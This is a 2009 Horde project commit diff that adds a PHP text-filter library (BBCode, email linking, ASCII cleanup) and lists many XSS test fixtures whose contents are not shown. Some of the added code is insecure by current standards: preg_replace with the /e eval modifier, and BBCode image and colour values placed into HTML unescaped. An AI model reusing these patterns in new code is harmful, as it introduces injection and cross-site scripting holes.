Import Text_Filter from CVS HEAD
authorMichael M Slusarz <slusarz@curecanti.org>
Wed, 10 Jun 2009 07:31:07 +0000 (01:31 -0600)
committerMichael M Slusarz <slusarz@curecanti.org>
Wed, 10 Jun 2009 07:31:20 +0000 (01:31 -0600)
122 files changed:
framework/Mime/lib/Horde/Mime/Mail.php
framework/Mime/lib/Horde/Mime/Viewer/Enriched.php
framework/Mime/lib/Horde/Mime/Viewer/Html.php
framework/Mime/lib/Horde/Mime/Viewer/Plain.php
framework/Mime/lib/Horde/Mime/Viewer/Rfc822.php
framework/Text_Filter/lib/Horde/Text/Filter.php [new file with mode: 0644]
framework/Text_Filter/lib/Horde/Text/Filter/Bbcode.php [new file with mode: 0644]
framework/Text_Filter/lib/Horde/Text/Filter/Cleanascii.php [new file with mode: 0644]
framework/Text_Filter/lib/Horde/Text/Filter/Dimsignature.php [new file with mode: 0644]
framework/Text_Filter/lib/Horde/Text/Filter/Emails.php [new file with mode: 0644]
framework/Text_Filter/lib/Horde/Text/Filter/Emoticons.php [new file with mode: 0644]
framework/Text_Filter/lib/Horde/Text/Filter/Environment.php [new file with mode: 0644]
framework/Text_Filter/lib/Horde/Text/Filter/Highlightquotes.php [new file with mode: 0644]
framework/Text_Filter/lib/Horde/Text/Filter/Html2text.php [new file with mode: 0644]
framework/Text_Filter/lib/Horde/Text/Filter/Linkurls.php [new file with mode: 0644]
framework/Text_Filter/lib/Horde/Text/Filter/Simplemarkup.php [new file with mode: 0644]
framework/Text_Filter/lib/Horde/Text/Filter/Space2html.php [new file with mode: 0644]
framework/Text_Filter/lib/Horde/Text/Filter/Tabs2spaces.php [new file with mode: 0644]
framework/Text_Filter/lib/Horde/Text/Filter/Text2html.php [new file with mode: 0644]
framework/Text_Filter/lib/Horde/Text/Filter/Words.php [new file with mode: 0644]
framework/Text_Filter/lib/Horde/Text/Filter/Xss.php [new file with mode: 0644]
framework/Text_Filter/package.xml [new file with mode: 0644]
framework/Text_Filter/test/Horde/Text/Filter/emails.phpt [new file with mode: 0644]
framework/Text_Filter/test/Horde/Text/Filter/environment.phpt [new file with mode: 0644]
framework/Text_Filter/test/Horde/Text/Filter/fixtures/html2text.html [new file with mode: 0644]
framework/Text_Filter/test/Horde/Text/Filter/fixtures/style_xss01.html [new file with mode: 0644]
framework/Text_Filter/test/Horde/Text/Filter/fixtures/text2html.txt [new file with mode: 0644]
framework/Text_Filter/test/Horde/Text/Filter/fixtures/xss01.html [new file with mode: 0644]
framework/Text_Filter/test/Horde/Text/Filter/fixtures/xss02.html [new file with mode: 0644]
framework/Text_Filter/test/Horde/Text/Filter/fixtures/xss03.html [new file with mode: 0644]
framework/Text_Filter/test/Horde/Text/Filter/fixtures/xss04.html [new file with mode: 0644]
framework/Text_Filter/test/Horde/Text/Filter/fixtures/xss05.html [new file with mode: 0644]
framework/Text_Filter/test/Horde/Text/Filter/fixtures/xss06.html [new file with mode: 0644]
framework/Text_Filter/test/Horde/Text/Filter/fixtures/xss07.html [new file with mode: 0644]
framework/Text_Filter/test/Horde/Text/Filter/fixtures/xss08.html [new file with mode: 0644]
framework/Text_Filter/test/Horde/Text/Filter/fixtures/xss09.html [new file with mode: 0644]
framework/Text_Filter/test/Horde/Text/Filter/fixtures/xss10.html [new file with mode: 0644]
framework/Text_Filter/test/Horde/Text/Filter/fixtures/xss100.html [new file with mode: 0644]
framework/Text_Filter/test/Horde/Text/Filter/fixtures/xss11.html [new file with mode: 0644]
framework/Text_Filter/test/Horde/Text/Filter/fixtures/xss12.html [new file with mode: 0644]
framework/Text_Filter/test/Horde/Text/Filter/fixtures/xss13.html [new file with mode: 0644]
framework/Text_Filter/test/Horde/Text/Filter/fixtures/xss14.html [new file with mode: 0644]
framework/Text_Filter/test/Horde/Text/Filter/fixtures/xss15.html [new file with mode: 0644]
framework/Text_Filter/test/Horde/Text/Filter/fixtures/xss16.html [new file with mode: 0644]
framework/Text_Filter/test/Horde/Text/Filter/fixtures/xss17.html [new file with mode: 0644]
framework/Text_Filter/test/Horde/Text/Filter/fixtures/xss18.html [new file with mode: 0644]
framework/Text_Filter/test/Horde/Text/Filter/fixtures/xss19.html [new file with mode: 0644]
framework/Text_Filter/test/Horde/Text/Filter/fixtures/xss20.html [new file with mode: 0644]
framework/Text_Filter/test/Horde/Text/Filter/fixtures/xss21.html [new file with mode: 0644]
framework/Text_Filter/test/Horde/Text/Filter/fixtures/xss22.html [new file with mode: 0644]
framework/Text_Filter/test/Horde/Text/Filter/fixtures/xss23.html [new file with mode: 0644]
framework/Text_Filter/test/Horde/Text/Filter/fixtures/xss24.html [new file with mode: 0644]
framework/Text_Filter/test/Horde/Text/Filter/fixtures/xss25.html [new file with mode: 0644]
framework/Text_Filter/test/Horde/Text/Filter/fixtures/xss26.html [new file with mode: 0644]
framework/Text_Filter/test/Horde/Text/Filter/fixtures/xss27.html [new file with mode: 0644]
framework/Text_Filter/test/Horde/Text/Filter/fixtures/xss28.html [new file with mode: 0644]
framework/Text_Filter/test/Horde/Text/Filter/fixtures/xss29.html [new file with mode: 0644]
framework/Text_Filter/test/Horde/Text/Filter/fixtures/xss30.html [new file with mode: 0644]
framework/Text_Filter/test/Horde/Text/Filter/fixtures/xss31.html [new file with mode: 0644]
framework/Text_Filter/test/Horde/Text/Filter/fixtures/xss32.html [new file with mode: 0644]
framework/Text_Filter/test/Horde/Text/Filter/fixtures/xss33.html [new file with mode: 0644]
framework/Text_Filter/test/Horde/Text/Filter/fixtures/xss34.html [new file with mode: 0644]
framework/Text_Filter/test/Horde/Text/Filter/fixtures/xss35.html [new file with mode: 0644]
framework/Text_Filter/test/Horde/Text/Filter/fixtures/xss36.html [new file with mode: 0644]
framework/Text_Filter/test/Horde/Text/Filter/fixtures/xss37.html [new file with mode: 0644]
framework/Text_Filter/test/Horde/Text/Filter/fixtures/xss38.html [new file with mode: 0644]
framework/Text_Filter/test/Horde/Text/Filter/fixtures/xss39.html [new file with mode: 0644]
framework/Text_Filter/test/Horde/Text/Filter/fixtures/xss40.html [new file with mode: 0644]
framework/Text_Filter/test/Horde/Text/Filter/fixtures/xss41.html [new file with mode: 0644]
framework/Text_Filter/test/Horde/Text/Filter/fixtures/xss42.html [new file with mode: 0644]
framework/Text_Filter/test/Horde/Text/Filter/fixtures/xss43.html [new file with mode: 0644]
framework/Text_Filter/test/Horde/Text/Filter/fixtures/xss44.html [new file with mode: 0644]
framework/Text_Filter/test/Horde/Text/Filter/fixtures/xss45.html [new file with mode: 0644]
framework/Text_Filter/test/Horde/Text/Filter/fixtures/xss46.html [new file with mode: 0644]
framework/Text_Filter/test/Horde/Text/Filter/fixtures/xss47.html [new file with mode: 0644]
framework/Text_Filter/test/Horde/Text/Filter/fixtures/xss48.html [new file with mode: 0644]
framework/Text_Filter/test/Horde/Text/Filter/fixtures/xss49.html [new file with mode: 0644]
framework/Text_Filter/test/Horde/Text/Filter/fixtures/xss50.html [new file with mode: 0644]
framework/Text_Filter/test/Horde/Text/Filter/fixtures/xss51.html [new file with mode: 0644]
framework/Text_Filter/test/Horde/Text/Filter/fixtures/xss52.html [new file with mode: 0644]
framework/Text_Filter/test/Horde/Text/Filter/fixtures/xss53.html [new file with mode: 0644]
framework/Text_Filter/test/Horde/Text/Filter/fixtures/xss54.html [new file with mode: 0644]
framework/Text_Filter/test/Horde/Text/Filter/fixtures/xss55.html [new file with mode: 0644]
framework/Text_Filter/test/Horde/Text/Filter/fixtures/xss56.html [new file with mode: 0644]
framework/Text_Filter/test/Horde/Text/Filter/fixtures/xss57.html [new file with mode: 0644]
framework/Text_Filter/test/Horde/Text/Filter/fixtures/xss58.html [new file with mode: 0644]
framework/Text_Filter/test/Horde/Text/Filter/fixtures/xss59.html [new file with mode: 0644]
framework/Text_Filter/test/Horde/Text/Filter/fixtures/xss60.html [new file with mode: 0644]
framework/Text_Filter/test/Horde/Text/Filter/fixtures/xss61.html [new file with mode: 0644]
framework/Text_Filter/test/Horde/Text/Filter/fixtures/xss62.html [new file with mode: 0644]
framework/Text_Filter/test/Horde/Text/Filter/fixtures/xss63.html [new file with mode: 0644]
framework/Text_Filter/test/Horde/Text/Filter/fixtures/xss64.html [new file with mode: 0644]
framework/Text_Filter/test/Horde/Text/Filter/fixtures/xss65.html [new file with mode: 0644]
framework/Text_Filter/test/Horde/Text/Filter/fixtures/xss66.html [new file with mode: 0644]
framework/Text_Filter/test/Horde/Text/Filter/fixtures/xss67.html [new file with mode: 0644]
framework/Text_Filter/test/Horde/Text/Filter/fixtures/xss68.html [new file with mode: 0644]
framework/Text_Filter/test/Horde/Text/Filter/fixtures/xss69.html [new file with mode: 0644]
framework/Text_Filter/test/Horde/Text/Filter/fixtures/xss70.html [new file with mode: 0644]
framework/Text_Filter/test/Horde/Text/Filter/fixtures/xss71.html [new file with mode: 0644]
framework/Text_Filter/test/Horde/Text/Filter/fixtures/xss72.html [new file with mode: 0644]
framework/Text_Filter/test/Horde/Text/Filter/fixtures/xss73.html [new file with mode: 0644]
framework/Text_Filter/test/Horde/Text/Filter/fixtures/xss74.html [new file with mode: 0644]
framework/Text_Filter/test/Horde/Text/Filter/fixtures/xss75.html [new file with mode: 0644]
framework/Text_Filter/test/Horde/Text/Filter/fixtures/xss76.html [new file with mode: 0644]
framework/Text_Filter/test/Horde/Text/Filter/fixtures/xss77.html [new file with mode: 0644]
framework/Text_Filter/test/Horde/Text/Filter/fixtures/xss78.html [new file with mode: 0644]
framework/Text_Filter/test/Horde/Text/Filter/fixtures/xss79.html [new file with mode: 0644]
framework/Text_Filter/test/Horde/Text/Filter/fixtures/xss80.html [new file with mode: 0644]
framework/Text_Filter/test/Horde/Text/Filter/fixtures/xss81.html [new file with mode: 0644]
framework/Text_Filter/test/Horde/Text/Filter/fixtures/xss82.html [new file with mode: 0644]
framework/Text_Filter/test/Horde/Text/Filter/fixtures/xss83.html [new file with mode: 0644]
framework/Text_Filter/test/Horde/Text/Filter/fixtures/xss84.html [new file with mode: 0644]
framework/Text_Filter/test/Horde/Text/Filter/fixtures/xss85.html [new file with mode: 0644]
framework/Text_Filter/test/Horde/Text/Filter/fixtures/xss97.html [new file with mode: 0644]
framework/Text_Filter/test/Horde/Text/Filter/fixtures/xss98.html [new file with mode: 0644]
framework/Text_Filter/test/Horde/Text/Filter/fixtures/xss99.html [new file with mode: 0644]
framework/Text_Filter/test/Horde/Text/Filter/html2text.phpt [new file with mode: 0644]
framework/Text_Filter/test/Horde/Text/Filter/html2text2.phpt [new file with mode: 0644]
framework/Text_Filter/test/Horde/Text/Filter/html2text3.phpt [new file with mode: 0644]
framework/Text_Filter/test/Horde/Text/Filter/space2html.phpt [new file with mode: 0644]
framework/Text_Filter/test/Horde/Text/Filter/text2html.phpt [new file with mode: 0644]
framework/Text_Filter/test/Horde/Text/Filter/xss.phpt [new file with mode: 0644]

index 4bae1dc..2c39744 100644 (file)
@@ -224,8 +224,7 @@ class Horde_Mime_Mail
         $this->_htmlBody->setCharset($charset);
         $this->_htmlBody->setContents($body);
         if ($alternative) {
-            require_once 'Horde/Text/Filter.php';
-            $this->setBody(Text_Filter::filter($body, 'html2text', array('wrap' => false), $charset));
+            $this->setBody(Horde_Text_Filter::filter($body, 'html2text', array('wrap' => false), $charset));
         }
     }
 
index e8c55f7..e033235 100644 (file)
@@ -171,8 +171,7 @@ class Horde_Mime_Viewer_Enriched extends Horde_Mime_Viewer_Driver
         $text = preg_replace('/^ (.*) $/s', '\1', $text);
 
         // Make URLs clickable.
-        require_once 'Horde/Text/Filter.php';
-        $text = Text_Filter::filter($text, 'linkurls', array('callback' => 'Horde::externalUrl'));
+        $text = Horde_Text_Filter::filter($text, 'linkurls', array('callback' => 'Horde::externalUrl'));
 
         /* Wordwrap -- note this could impact on our above RFC compliance *IF*
          * we honored nofill tags (which we don't yet). */
index 5d4111c..bbe1e0e 100644 (file)
@@ -108,15 +108,15 @@ class Horde_Mime_Viewer_html extends Horde_Mime_Viewer_Driver
             }
         }
 
-        require_once 'Horde/Text/Filter.php';
         $strip_style_attributes = (($browser->isBrowser('mozilla') &&
                                     $browser->getMajor() == 4) ||
                                    $browser->isBrowser('msie'));
         $strip_styles = $inline || $strip_style_attributes;
-        $data = Text_Filter::filter($data, 'xss',
-                                    array('body_only' => $inline,
-                                          'strip_styles' => $strip_styles,
-                                          'strip_style_attributes' => $strip_style_attributes));
+        $data = Horde_Text_Filter::filter($data, 'xss', array(
+            'body_only' => $inline,
+            'strip_styles' => $strip_styles,
+            'strip_style_attributes' => $strip_style_attributes
+        ));
 
         /* Check for phishing exploits. */
         if ($this->getConfigParam('phishing_check')) {
index cb1e70c..7d767b3 100644 (file)
@@ -42,10 +42,9 @@ class Horde_Mime_Viewer_Plain extends Horde_Mime_Viewer_Driver
             $text = $this->_formatFlowed($text, $this->_mimepart->getContentTypeParameter('delsp'));
         }
 
-        require_once 'Horde/Text/Filter.php';
         return array(
             $this->_mimepart->getMimeId() => array(
-                'data' => '<html><body><tt>' . Text_Filter::filter($text, 'text2html', array('parselevel' => TEXT_HTML_MICRO, 'charset' => $charset, 'class' => null)) . '</tt></body></html>',
+                'data' => '<html><body><tt>' . Horde_Text_Filter::filter($text, 'text2html', array('parselevel' => Horde_Text_Filter_Text2html::MICRO, 'charset' => $charset, 'class' => null)) . '</tt></body></html>',
                 'status' => array(),
                 'type' => 'text/html; charset=' . $charset
             )
index 57df4bc..39bc61c 100644 (file)
@@ -82,10 +82,9 @@ class Horde_Mime_Viewer_Rfc822 extends Horde_Mime_Viewer_Driver
             }
         }
 
-        require_once 'Horde/Text/Filter.php';
         return array(
             $this->_mimepart->getMimeId() => array(
-                'data' => empty($header_output) ? '' : ('<div class="mimeHeaders">' . Text_Filter::filter(implode("<br />\n", $header_output), 'emails') . '</div>'),
+                'data' => empty($header_output) ? '' : ('<div class="mimeHeaders">' . Horde_Text_Filter::filter(implode("<br />\n", $header_output), 'emails') . '</div>'),
                 'status' => array(),
                 'type' => 'text/html; charset=' . NLS::getCharset()
             )
diff --git a/framework/Text_Filter/lib/Horde/Text/Filter.php b/framework/Text_Filter/lib/Horde/Text/Filter.php
new file mode 100644 (file)
index 0000000..b43eff2
--- /dev/null
@@ -0,0 +1,141 @@
+<?php
+/**
+ * Horde_Text_Filter:: is a parent class for defining stackable text filters.
+ *
+ * Copyright 1999-2009 The Horde Project (http://www.horde.org/)
+ *
+ * See the enclosed file COPYING for license information (LGPL). If you
+ * did not receive this file, see http://www.fsf.org/copyleft/lgpl.html.
+ *
+ * @author  Chuck Hagenbuch <chuck@horde.org>
+ * @author  Jan Schneider <jan@horde.org>
+ * @package Horde_Text_Filter
+ */
+class Horde_Text_Filter
+{
+    /**
+     * Filter parameters.
+     *
+     * @var array
+     */
+    protected $_params = array();
+
+    /**
+     * Attempts to return a concrete instance based on $driver.
+     *
+     * @param mixed $driver  The type of concrete subclass to return.
+     *                       This is based on the filter driver ($driver). The
+     *                       code is dynamically included. If $driver is an
+     *                       array, then we will look in $driver[0] for the
+     *                       subclass implementation named $driver[1].php.
+     * @param array $params  A hash containing any additional configuration
+     *                       parameters a subclass might need.
+     *
+     * @return Text_Filter  The newly created concrete instance.
+     * @throws Horde_Exception
+     */
+    static public function factory($driver, $params = array())
+    {
+        if (is_array($driver)) {
+            list($app, $driv_name) = $driver;
+            $driver = basename($driv_name);
+        } else {
+            $driver = basename($driver);
+        }
+
+        $class = (empty($app) ? 'Horde' : $app) . '_Text_Filter_' . ucfirst($driver);
+        if (class_exists($class)) {
+            return new $class($params);
+        }
+
+        throw new Horde_Exception('Class definition of ' . $class . ' not found.');
+    }
+
+    /**
+     * Constructor.
+     *
+     * @param array $params  Any parameters that the filter instance needs.
+     */
+    public function __construct($params = array())
+    {
+        $this->_params = array_merge($this->_params, $params);
+    }
+
+    /**
+     * Applies a set of patterns to a block of text.
+     *
+     * @param string $text     The text to filter.
+     * @param array $patterns  The array of patterns to filter with.
+     *
+     * @return string  The transformed text.
+     */
+    public function filter($text, $filters = array(), $params = array())
+    {
+        if (!is_array($filters)) {
+            $filters = array($filters);
+            $params = array($params);
+        }
+
+        foreach ($filters as $num => $filter) {
+            try {
+                $filterOb = self::factory($filter, isset($params[$num]) ? $params[$num] : array());
+            } catch (Horde_Exception $e) {
+                return $e->getMessage();
+            }
+            $patterns = $filterOb->getPatterns();
+
+            /* Pre-processing. */
+            $text = $filterOb->preProcess($text);
+
+            /* str_replace() simple patterns. */
+            if (isset($patterns['replace'])) {
+                $text = str_replace(array_keys($patterns['replace']), array_values($patterns['replace']), $text);
+            }
+
+            /* preg_replace complex patterns. */
+            if (isset($patterns['regexp'])) {
+                $text = preg_replace(array_keys($patterns['regexp']), array_values($patterns['regexp']), $text);
+            }
+
+            /* Post-processing. */
+            $text = $filterOb->postProcess($text);
+        }
+
+        return $text;
+    }
+
+    /**
+     * Executes any code necessaray before applying the filter patterns.
+     *
+     * @param string $text  The text before the filtering.
+     *
+     * @return string  The modified text.
+     */
+    public function preProcess($text)
+    {
+        return $text;
+    }
+
+    /**
+     * Returns a hash with replace patterns.
+     *
+     * @return array  Patterns hash.
+     */
+    public function getPatterns()
+    {
+        return array();
+    }
+
+    /**
+     * Executes any code necessaray after applying the filter patterns.
+     *
+     * @param string $text  The text after the filtering.
+     *
+     * @return string  The modified text.
+     */
+    public function postProcess($text)
+    {
+        return $text;
+    }
+
+}
diff --git a/framework/Text_Filter/lib/Horde/Text/Filter/Bbcode.php b/framework/Text_Filter/lib/Horde/Text/Filter/Bbcode.php
new file mode 100644 (file)
index 0000000..b1b19c8
--- /dev/null
@@ -0,0 +1,145 @@
+<?php
+/**
+ * The Horde_Text_Filter_Bbcode:: class finds bbcode-style markup (see below)
+ * in a block of text and turns it into HTML.
+ *
+ * Parameters:
+ * <pre>
+ * entities -- If true before replacing bbcode with HTML tags, any HTML
+ *             entities will be replaced.
+ * </pre>
+ *
+ * Supported bbcode:
+ * <pre>
+ *     [b]Bold Text[/b]
+ *     [i]Italics Text[/i]
+ *     [u]Underlined Text[/u]
+ *     [quote]Quoted Text[/quote]
+ *     [center]Centered Text[/center]
+ *
+ *     List of items
+ *     [list]
+ *     [*] Item one
+ *     [*] Item two
+ *     [/list]
+ *
+ *     Numbered list
+ *     [numlist]
+ *     [*] Item one
+ *     [*] Item two
+ *     [/numlist]
+ *
+ *     [url]http://www.horde.org[/url] -> Link to the address using the
+ *         address itself for the text.  You can specify the protocol: http or
+ *         https and the port.
+ *     [url]www.horde.org[/url] -> Link to the address using the address
+ *         itself for the text.  You can specify the port.  The protocol is by
+ *         default http.
+ *     [url=http://www.horde.org]Link to Horde[/url] -> Link to the address
+ *         using "Link to Horde" for the text.  You can specify the protocol:
+ *         http or https and the port.
+ *     [url=www.horde.org]Link to Horde[/url] -> Link to the address using
+ *         "Link to Horde" for the text.  You can specify the port.  The
+ *         protocol is by default http
+ *     [email]cpedrinaci@yahoo.es[/email] -> sets a mailto link.
+ *     [email=cpedrinaci@yahoo.es]Mail to Carlos[/email] -> Sets a mailto link
+ *         and the text is "Mail to Carlos".
+ * </pre>
+ *
+ * Copyright 2003-2009 The Horde Project (http://www.horde.org/)
+ *
+ * Email validation based on Chuck Hagenbuch's
+ * Mail_RFC822::isValidInetAddress().
+ *
+ * See the enclosed file COPYING for license information (LGPL). If you
+ * did not receive this file, see http://www.fsf.org/copyleft/lgpl.html.
+ *
+ * @author  Carlos Pedrinaci <cpedrinaci@yahoo.es>
+ * @package Horde_Text_Filter
+ */
+class Horde_Text_Filter_Bbcode extends Horde_Text_Filter
+{
+    /**
+     * Filter parameters.
+     *
+     * @var array
+     */
+    protected $_params = array(
+        'entities' => false
+    );
+
+    /**
+     * Executes any code necessary before applying the filter patterns.
+     *
+     * @param string $text  The text before the filtering.
+     *
+     * @return string  The modified text.
+     */
+    public function preProcess($text)
+    {
+        if ($this->_params['entities']) {
+            $text = @htmlspecialchars($text);
+        }
+
+        return $text;
+    }
+
+    /**
+     * Returns a hash with replace patterns.
+     *
+     * @return array  Patterns hash.
+     */
+    public function getPatterns()
+    {
+        $replace = array(
+            '[i]' => '<em>', '[/i]' => '</em>',
+            '[u]' => '<u>', '[/u]' => '</u>',
+            '[b]' => '<strong>', '[/b]' => '</strong>',
+            '[s]' => '<strike>', '[/s]' => '</strike>',
+            '[sub]' => '<sub>', '[/sub]' => '</sub>',
+            '[sup]' => '<sup>', '[/sup]' => '</sup>',
+            '[center]' => '<center>', '[/center]' => '</center>',
+            '[quote]' => '<blockquote>', '[/quote]' => '</blockquote>',
+            '[list]' => '<ul>', '[/list]' => '</ul>',
+            '[numlist]' => '<ol>', '[/numlist]' => '</ol>',
+            '[*]' => '<li>');
+
+        /* When checking URLs we validate part of them, but it is up
+         * to the user to write them correctly (in particular the
+         * query string). Concerning mails we use the regular
+         * expression in Mail_RFC822's isValidInetAddress() function,
+         * slightly modified. */
+        $regexp = array(
+            "#\[url\]((http|https)://([a-zA-Z\d][\w-]*)(\.[a-zA-Z\d][\w-]*)+(:(\d+))?(/([^<>]+))*)\[/url\]#U" =>
+            Horde::link("$1", "$1") . "$1</a>",
+
+            "#\[url\=((http|https)://([a-zA-Z\d][\w-]*)(\.[a-zA-Z\d][\w-]*)+(:(\d+))?(/([^<>]+))*)\]([^<>]+)\[/url\]#U" =>
+            Horde::link("$1", "$1") . "$9</a>",
+
+            "#\[url\](([a-zA-Z\d][\w-]*)(\.[a-zA-Z\d][\w-]*)+(:(\d+))?(/([^<>]+))*)\[/url\]#U" =>
+            Horde::link("http://$1", "http://$1") . "$1</a>",
+
+            "#\[url\=(([a-zA-Z\d][\w-]*)(\.[a-zA-Z\d][\w-]*)+(:(\d+))?(/([^<>]+))*)\]([^<>]+)\[/url\]#U" =>
+            Horde::link("http://$1", "http://$1") . "$8</a>",
+
+            "#\[email\](([*+!.&\#$|\'\\%\/0-9a-zA-Z^_`{}=?~:-]+)@(([0-9a-zA-Z-]+\.)+[0-9a-zA-Z]{2,4}))\[/email\]#U" =>
+            Horde::link("mailto:$1", "mailto:$1") . "$1</a>",
+
+            "#\[email\=(([*+!.&\#$|\'\\%\/0-9a-zA-Z^_`{}=?~:-]+)@(([0-9a-zA-Z-]+\.)+[0-9a-zA-Z]{2,4}))\]([^<>]+)\[/email\]#U" =>
+            Horde::link("mailto:$1", "mailto:$1") . "$5</a>",
+
+            "#\[img\](.*)\[/img\]#U" =>
+            "<img src=\"$1\" alt=\"$1\" />",
+
+            "#\[img\=(.*)\](.*)\[/img\]#U" =>
+            "<img src=\"$1\" alt=\"$2\" title=\"$2\" />",
+
+            "#\[color\=(.*)\](.*)\[/color\]#U" =>
+            "<span style=\"color: $1;\">$2</span>"
+
+        );
+
+        return array('replace' => $replace, 'regexp' => $regexp);
+    }
+
+}
diff --git a/framework/Text_Filter/lib/Horde/Text/Filter/Cleanascii.php b/framework/Text_Filter/lib/Horde/Text/Filter/Cleanascii.php
new file mode 100644 (file)
index 0000000..313dc3b
--- /dev/null
@@ -0,0 +1,81 @@
+<?php
+/**
+ * Removes some common entities and high-ascii or otherwise nonstandard
+ * characters common in text pasted from Microsoft Word into a browser.
+ *
+ * This function should NOT be used on non-ASCII text; it may and probably
+ * will butcher other character sets indescriminately.  Use it only to clean
+ * US-ASCII (7-bit) text which you suspect (or know) may have invalid or
+ * non-printing characters in it.
+ *
+ * Copyright 2004-2009 The Horde Project (http://www.horde.org/)
+ *
+ * See the enclosed file COPYING for license information (LGPL). If you
+ * did not receive this file, see http://www.fsf.org/copyleft/lgpl.html.
+ *
+ * @author  Jan Schneider <jan@horde.org>
+ * @package Horde_Text
+ */
+class Horde_Text_Filter_Cleanascii extends Horde_Text_Filter
+{
+    /**
+     * Executes any code necessary before applying the filter patterns.
+     *
+     * @param string $text  The text before the filtering.
+     *
+     * @return string  The modified text.
+     */
+    public function preProcess($text)
+    {
+        if (preg_match('/|([^#]*)#.*/', $text, $regs)) {
+            $text = $regs[1];
+
+            if (!empty($text)) {
+                $text = $text . "\n";
+            }
+        }
+
+        return $text;
+    }
+
+    /**
+     * Returns a hash with replace patterns.
+     *
+     * @return array  Patterns hash.
+     */
+    public function getPatterns()
+    {
+        /* Remove control characters. */
+        $regexp = array('/[\x00-\x1f]+/' => '');
+
+        /* The '\92' entry may look wrong, depending on your editor,
+         * but it's not - that's not really a single quote. */
+        $replace = array(
+            chr(150) => '-',
+            chr(167) => '*',
+            '\81·' => '*',
+            '\85' => '...',
+            '\91' => "'",
+            '\92' => "'",
+            '\93' => '"',
+            '\94' => '"',
+            '\95' => '*',
+            '\96' => '-',
+            '\97' => '-',
+            '\9f' => '*',
+            '&#61479;' => '.',
+            '&#61572;' => '*',
+            '&#61594;' => '*',
+            '&#61640;' => '-',
+            '&#61623;' => '-',
+            '&#61607;' => '*',
+            '&#61553;' => '*',
+            '&#61558;' => '*',
+            '&#8226;' => '*',
+            '&#9658;' => '>',
+        );
+
+        return array('regexp' => $regexp, 'replace' => $replace);
+    }
+
+}
diff --git a/framework/Text_Filter/lib/Horde/Text/Filter/Dimsignature.php b/framework/Text_Filter/lib/Horde/Text/Filter/Dimsignature.php
new file mode 100644 (file)
index 0000000..07ee6c3
--- /dev/null
@@ -0,0 +1,36 @@
+<?php
+/**
+ * Displays message signatures marked by a '-- ' in the style of the CSS class
+ * "signature".
+ *
+ * Copyright 2004-2009 The Horde Project (http://www.horde.org/)
+ *
+ * See the enclosed file COPYING for license information (LGPL). If you
+ * did not receive this file, see http://www.fsf.org/copyleft/lgpl.html.
+ *
+ * @author  Jan Schneider <jan@horde.org>
+ * @package Horde_Text
+ */
+class Horde_Text_Filter_Dimsignature extends Horde_Text_Filter
+{
+    /**
+     * Executes any code necessary after applying the filter patterns.
+     *
+     * @param string $text  The text after the filtering.
+     *
+     * @return string  The modified text.
+     */
+    public function postProcess($text)
+    {
+        $parts = preg_split('|(\n--\s*(?:<br />)?\r?\n)|', $text, -1, PREG_SPLIT_DELIM_CAPTURE);
+        $num_parts = count($parts);
+        if ($num_parts > 2) {
+            return implode('', array_slice($parts, 0, -2))
+                . '<span class="signature">' . $parts[$num_parts - 2]
+                . $parts[$num_parts - 1] . '</span>';
+        }
+
+        return $text;
+    }
+
+}
diff --git a/framework/Text_Filter/lib/Horde/Text/Filter/Emails.php b/framework/Text_Filter/lib/Horde/Text/Filter/Emails.php
new file mode 100644 (file)
index 0000000..dd14fc1
--- /dev/null
@@ -0,0 +1,183 @@
+<?php
+/**
+ * The Horde_Text_Filter_Emails:: class finds email addresses in a block of
+ * text and turns them into links.
+ *
+ * Parameters:
+ * <pre>
+ * always_mailto - (boolean) If true, a mailto: link is generated always.
+ *                 Only if no mail/compose registry API method exists
+ *                 otherwise.
+ * class - (string) CSS class of the generated <a> tag.  Defaults to none.
+ * encode - (boolean) Whether to escape special HTML characters in the URLs
+ *          and finally "encode" the complete tag so that it can be decoded
+ *          later with the decode() method. This is useful if you want to run
+ *          htmlspecialchars() or similar *after* using this filter.
+ * </pre>
+ *
+ * Copyright 2003-2009 The Horde Project (http://www.horde.org/)
+ *
+ * See the enclosed file COPYING for license information (LGPL). If you
+ * did not receive this file, see http://www.fsf.org/copyleft/lgpl.html.
+ *
+ * @author Tyler Colbert <tyler@colberts.us>
+ * @author Jan Schneider <jan@horde.org>
+ * @package Horde_Text
+ */
+class Horde_Text_Filter_Emails extends Horde_Text_Filter
+{
+    /**
+     * Filter parameters.
+     *
+     * @var array
+     */
+    protected $_params = array(
+        'always_mailto' => false,
+        'class' => '',
+        'encode' => false
+    );
+
+    /**
+     * Returns a hash with replace patterns.
+     *
+     * @return array  Patterns hash.
+     */
+    public function getPatterns()
+    {
+        $class = empty($this->_params['class'])
+            ? ''
+            : ' class="' . $this->_params['class'] . '"';
+
+        $regexp = <<<EOR
+            /
+                # Version 1: mailto: links with any valid email characters.
+                # Pattern 1: Outlook parenthesizes in square brackets
+                (\[\s*)?
+                # Pattern 2: mailto: protocol prefix
+                (mailto:\s?)
+                # Pattern 3: email address
+                ([^\s\?"<&]*)
+                # Pattern 4: closing angle brackets?
+                (&gt;)?
+                # Pattern 5 to 7: Optional parameters
+                ((\?)([^\s"<]*[\w+#?\/&=]))?
+                # Pattern 8: Closing Outlook square bracket
+                ((?(1)\s*\]))
+            |
+                # Version 2 Pattern 9 and 10: simple email addresses.
+                (^|\s|&lt;|<)([\w-+.=]+@[-A-Z0-9.]*[A-Z0-9])
+                # Pattern 11 to 13: Optional parameters
+                ((\?)([^\s"<]*[\w+#?\/&=]))?
+                # Pattern 14: Optional closing bracket
+                (>)?
+            /eix
+EOR;
+
+        if (isset($GLOBALS['registry']) &&
+            is_a($GLOBALS['registry'], 'Registry') &&
+            $GLOBALS['registry']->hasMethod('mail/compose') &&
+            !$this->_params['always_mailto']) {
+            /* If we have a mail/compose registry method, use it. */
+            $replacement = 'Horde_Text_Filter_Emails::callback(\'registry\', \''
+                . $this->_params['encode'] . '\', \'' . $class
+                . '\', \'$1\', \'$2\', \'$3\', \'$4\', \'$5\', \'$7\', \'$8\', \'$9\', \'$10\', \'$11\', \'$13\', \'$14\')';
+        } else {
+            /* Otherwise, generate a standard mailto: and let the browser
+             * handle it. */
+            if ($this->_params['encode']) {
+                $replacement = <<<EOP
+                    '$9' === ''
+                    ? htmlspecialchars('$1$2') . '<a$class href="mailto:'
+                        . htmlspecialchars('$3$5') . '" title="'
+                        . sprintf(_("New Message to %s"), htmlspecialchars('$3'))
+                        . '">' . htmlspecialchars('$3$5') . '</a>'
+                        . htmlspecialchars('$4$8')
+                    : htmlspecialchars('$9') . '<a$class href="mailto:'
+                        . htmlspecialchars('$10$11') . '" title="'
+                        . sprintf(_("New Message to %s"), htmlspecialchars('$10'))
